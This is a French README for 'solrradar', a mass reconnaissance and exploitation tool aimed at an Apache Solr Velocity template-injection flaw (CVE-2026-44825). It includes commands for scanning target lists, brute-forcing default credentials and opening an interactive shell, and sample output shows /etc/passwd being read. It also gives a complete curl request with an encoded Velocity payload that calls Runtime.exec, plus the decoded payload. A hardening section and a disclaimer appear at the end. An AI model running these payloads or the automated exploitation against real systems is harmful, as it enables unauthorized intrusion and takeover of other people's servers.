
☄️ Framework de reconnaissance et d'exploitation de masse pour Apache Solr CVE-2026-44825 — injection de template Velocity menant à RCE
CVE-2026-44825 est une vulnérabilité de sévérité critique dans Apache Solr qui permet à un attaquant d'obtenir une exécution de code à distance (RCE) non authentifiée via une injection de template Velocity.
Le point d'accès /select d'Apache Solr accepte un paramètre wt=velocity qui interprète des templates Velocity fournis par l'utilisateur. Lorsque le Velocity Response Writer est activé (ou peut être activé via l'API de configuration), un attaquant peut injecter un template malveillant appelant java.lang.Runtime.exec(), exécutant des commandes système arbitraires avec les privilèges du processus Solr.
| Vecteur | Sévérité | Impact |
|---|---|---|
| RCE non authentifiée | 9.8 (Critique) | Compromission totale du système |
| RCE authentifiée | 8.8 (Élevée) | Exécution de code après authentification |
| Divulgation d'informations | 5.3 (Moyenne) | Énumération des cores/collections |
Apache Solr inclut Apache Velocity comme moteur de template optionnel pour le rendu des réponses. La vulnérabilité réside dans le VelocityResponseWriter de Solr qui traite les paramètres de template contrôlés par l'utilisateur sans assainissement adéquat, permettant l'invocation directe des API de réflexion Java :
Java Reflection Chain:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)
| Version d'Apache Solr | Statut | Notes |
|---|---|---|
| 9.4.0 – 9.10.1 | 🔴 Vulnérable | Exploitation active dans la nature |
| 10.0.0 | 🔴 Vulnérable | Version initiale 10.x affectée |
| 10.0.1+ | 🟢 Corrigé | Correctif rétroporté |
| 9.10.2+ | 🟢 Corrigé | Correctif disponible |
| ≤ 9.3.x | 🟢 Non concerné | Velocity Response Writer absent |
| 8.x (toutes) | 🟢 Non concerné | Pas de support Velocity |
Note : Les vérifications de version sont effectuées automatiquement en analysant la réponse JSON de
/admin/info/system.
🔍 Reconnaissance
|
💀 Exploitation
|
# Clone the repository
git clone https://github.com/shinthink/solrradar.git
cd solrradar
# Install dependencies
pip install -r requirements.txt
# Verify
python solr_scanner.py --help
requests>=2.28.0
urllib3>=1.26.0
Bibliothèques standard uniquement +
requests. Aucune dépendance exotique.
CVE-2026-44825 Apache Solr Scanner
-t, --target URL ou IP[:port] d'une seule cible
-f, --file Fichier contenant les cibles (une par ligne, # pour les commentaires)
--exploit Exploitation automatique si des identifiants vulnérables sont trouvés
--rce Lancement d'un shell interactif après authentification
-u, --user Nom d'utilisateur pour l'authentification de base
-pw, --password Mot de passe pour l'authentification de base
-o, --output Chemin du fichier de sortie JSON (par défaut : solr_results.json)
-w, --workers Nombre de threads simultanés (par défaut : 30)
-T, --timeout Délai d'attente des requêtes HTTP (secondes) (par défaut : 8)
# Cible unique
python solr_scanner.py -t 192.168.1.100:8983
# Cible unique avec chemin personnalisé
python solr_scanner.py -t http://example.com/solr
# Scan de masse depuis un fichier
python solr_scanner.py -f targets.txt -o results.json
# targets.txt — prend en charge les commentaires et les lignes vides
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24 # (CIDR non supporté ; pré-expandez avec un outil externe)
# Scan + exploitation automatique si des identifiants sont trouvés
python solr_scanner.py -f targets.txt --exploit
# Identifiants connus + shell interactif
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
# Force brute automatique + shell en cas de succès
python solr_scanner.py -t target:8983 --rce
$ python solr_scanner.py -f targets.txt
CVE-2026-44825 Apache Solr Scanner
Targets: 3 | Threads: 30 | Timeout: 8s
Scanning...
[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
Cols (no auth): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
Done. Total:3 | Solr:3 | Vuln:1
Les 3 cibles sont détectées. L'instance 9.4.1 est marquée comme vulnérable avec l'authentification de base activée.
$ python solr_scanner.py -t solr-target.internal
CVE-2026-44825 Apache Solr Scanner
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
[!] admin:SolrRocks
Cols: ['cms', 'users', 'search', 'analytics']
L'identifiant par défaut
admin:SolrRocksdonne accès aux API d'administration Solr. Quatre collections découvertes.
$ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
CVE-2026-44825 Apache Solr Scanner
[+] admin:SolrRocks
solr$ id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
solr$ hostname
solr-prod-cms-01.internal
solr$ whoami
solr
solr$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
solr:x:8983:8983:Solr:/var/solr:/sbin/nologin
...
solr$ exit
Accès shell interactif complet avec les privilèges du processus Java Solr.
Pour les chercheurs qui souhaitent comprendre l'échange HTTP brut :
Étape 1 — Vérifier que Solr est accessible
curl -sk 'http://target:8983/solr/admin/info/system' | jq '.lucene."solr-spec-version"'
# "9.4.1"
Étape 2 — Lister les collections disponibles
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
'http://target:8983/solr/admin/collections?action=LIST'
# {"collections": ["cms", "search"]}
Étape 3 — Exécuter une commande via injection de template Velocity
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x=%27%27)%23set(%24rt=%24x.class.forName(%27java.lang.Runtime%27))%23set(%24chr=%24x.class.forName(%27java.lang.Character%27))%23set(%24ex=%24rt.getRuntime().exec(%27id%27))%24ex.waitFor()%25%23set(%24out=%24ex.getInputStream())%23foreach(%24i%20in%20[1..%24out.available()])%24str.valueOf(%24chr.toChars(%24out.read()))%23end' \
'http://target:8983/solr/cms/select'
Charge utile Velocity décodée :
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()%
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
Réponse :
uid=8983(solr) gid=8983(solr) groups=8983(solr)
┌──────────────────────────────────────────────────────┐
│ SOLRRADAR │
├───────────────┬──────────────────────────────────────┤
│ PHASE DE RECONNAISSANCE │ PHASE D'EXPLOITATION │
│ │ │
│ ┌─────────┐ │ ┌──────────┐ ┌────────────────┐ │
│ │ Détecter │──┼──▶ Force │───▶│ Injection de │ │
│ │ Solr │ │ │ brute │ │ template │ │
│ └────┬────┘ │ └────┬─────┘ │ Velocity RCE │ │
│ │ │ │ └───────┬────────┘ │
│ ▼ │ ▼ │ │
│ ┌─────────┐ │ ┌──────────┐ ┌────────────────┐ │
│ │ Vérif. │ │ │ Identifi.│ │ Runtime.exec() │ │
│ │ version │ │ │ par déf. │ │ → RCE │ │
│ └─────────┘ │ └──────────┘ └────────────────┘ │
│ │ │
│ ┌─────────┐ │ ┌────────────────────────────────┐ │
│ │ Sonde │ │ │ Shell interactif (--rce) │ │
│ │ d'auth │ │ └────────────────────────────────┘ │
│ └─────────┘ │ │
└───────────────┴──────────────────────────────────────┘
URL cible
│
▼
┌─────────────┐
│ normaliser │ → ajouter http:// + /solr si manquant
└──────┬──────┘
│
▼
┌─────────────┐ Non
│ GET /admin/ ├──────── Ignorer la cible
│ info/system │
└──────┬──────┘
│ Oui (200/401)
▼
┌─────────────┐
│ Analyser │ → extraire solr-spec-version
│ JSON │
│ empreinte │
└──────┬──────┘
│
▼
┌─────────────┐
│ is_vuln() │ → 9.4–9.10.x ou 10.0.0 ?
└──────┬──────┘
│
├── Pas vulnérable → Rapport, passer
│
▼ Vulnérable
┌─────────────┐
│ Vérif. auth │ → /admin/cores?action=STATUS
│ (3 étapes) │ → /admin/collections?action=LIST
└──────┬──────┘
│
├── Pas d'auth → Essayer le listage non authentifié
│
▼ Auth détectée
┌─────────────┐
│ Force brute │ → 4 utilisateurs × 8 mots de passe = 32 tentatives
│ identifiants │
└──────┬──────┘
│
├── Aucune correspondance → Rapport vulnérabilité (sans identifiants)
│
▼ Identifiants trouvés
┌─────────────┐
│ Lister cols │ → /admin/collections ou /admin/cores
│ /cores │
└──────┬──────┘
│
▼
┌─────────────┐
│ RCE via │ → POST /{collection}/select
│ Velocity │ → template Velocity → Runtime.exec()
└─────────────┘
bool(Response[401]) == False est importantUn problème Python subtil découvert lors du développement :
>>> import requests
>>> r = requests.get('https://httpbin.org/status/401')
>>> bool(r)
False # ← les réponses 4xx/5xx sont évaluées à False !
Cela signifie que chaque vérification if response and ... ignore silencieusement les réponses d'erreur — même lorsque vous souhaitez spécifiquement traiter le code 401. La correction consiste à toujours utiliser if response is not None and ... :
# ❌ Cassé — les réponses 401 sont ignorées silencieusement
if r and r.status_code == 401:
auth = True
# ✅ Correct — vérification explicite de None
if r is not None and r.status_code == 401:
auth = True
Le scanner utilise une stratégie de détection à 3 niveaux pour minimiser les faux négatifs :
'solr' in response.text.lower()
Détecte Solr dans les clés JSON ("solr_home", "solr-spec-version", "mode":"solrcloud"), les tableaux de bord HTML et les pages d'erreur — insensible à la casse.
'solr' in response.headers.get('Server', '').lower()
Certains déploiements incluent "Solr" dans l'en-tête HTTP Server.
# Étape 1 : Vérifier le code de réponse de /admin/info/system
# Étape 2 : Sonder /admin/cores?action=STATUS pour 401
# Étape 3 : Sonder /admin/collections?action=LIST pour 401
Détecte les déploiements où /admin/info/system est public mais les opérations d'administration nécessitent une authentification.
Deux expressions régulières pour la robustesse :
VERSION_RE = [
r'solr-spec-version[^0-9]*([\d.]+)', # lucene.solr-spec-version
r'solr-impl-version[^0-9]*([\d.]+)', # lucene.solr-impl-version
]
Si vous utilisez Apache Solr, appliquez ces mesures de durcissement immédiatement :
# Mettez à niveau vers une version corrigée
# Solr 9.x → 9.10.2 ou ultérieur
# Solr 10.x → 10.0.1 ou ultérieur
<!-- Dans solrconfig.xml — SUPPRIMEZ ou METTEZ EN COMMENTAIRE : -->
<!--
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter"/>
-->
# Restreindre l'accès aux points d'accès d'administration Solr au niveau réseau
# Autoriser uniquement les plages IP de confiance à accéder aux ports 8983/7574
iptables -A INPUT -p tcp --dport 8983 -s TRUSTED_IP/32 -j ACCEPT
iptables -A INPUT -p tcp --dport 8983 -j DROP
# Utilisez ce scanner contre VOTRE propre infrastructure
python solr_scanner.py -f my_solr_instances.txt -o audit_results.json
🚨 À DES FINS ÉDUCATIVES ET DE TESTS AUTORISÉS UNIQUEMENT
Ce logiciel est fourni uniquement à des fins éducatives et pour une recherche légitime en sécurité. Il est destiné à être utilisé par :
- 🛡️ Professionnels de la sécurité menant des tests d'intrusion autorisés
- 🏢 Organisations auditant leur propre infrastructure Apache Solr
- 🔬 Chercheurs étudiant les techniques d'exploitation de vulnérabilités
- 🎓 Étudiants apprenant la sécurité des applications web
❌ Vous NE POUVEZ PAS utiliser ce logiciel pour :
- Accéder à des systèmes informatiques sans autorisation écrite explicite
- Compromettre, endommager ou perturber des systèmes que vous ne possédez pas
- Participer à une activité illégale de quelque nature que ce soit
⚖️ Avis juridique
L'accès non autorisé à des systèmes informatiques enfreint les lois, y compris mais sans s'y limiter :
- États-Unis : Computer Fraud and Abuse Act (18 U.S.C. § 1030)
- Indonésie : UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- Union européenne : Directive 2013/40/EU
- Royaume-Uni : Computer Misuse Act 1990
Le(s) auteur(s) décline(nt) TOUTE RESPONSABILITÉ en cas d'utilisation abusive, de dommage ou de conséquences juridiques résultant de l'utilisation de cet outil. En utilisant ce logiciel, vous reconnaissez être seul responsable de vos actions et acceptez de vous conformer à toutes les lois applicables.
| Ressource | Lien |
|---|---|
| Entrée NVD | CVE-2026-44825 |
| Sécurité Apache Solr | solr.apache.org/security |
| Documentation Velocity Solr | Velocity Response Writer |
| Injection de template OWASP | Server-Side Template Injection |
⚡ Conçu avec précision pour la communauté de recherche en sécurité ⚡
Apache® et Apache Solr® sont des marques déposées de la Apache Software Foundation.
Ce projet n'est pas affilié à la Apache Software Foundation et n'est pas approuvé par celle-ci.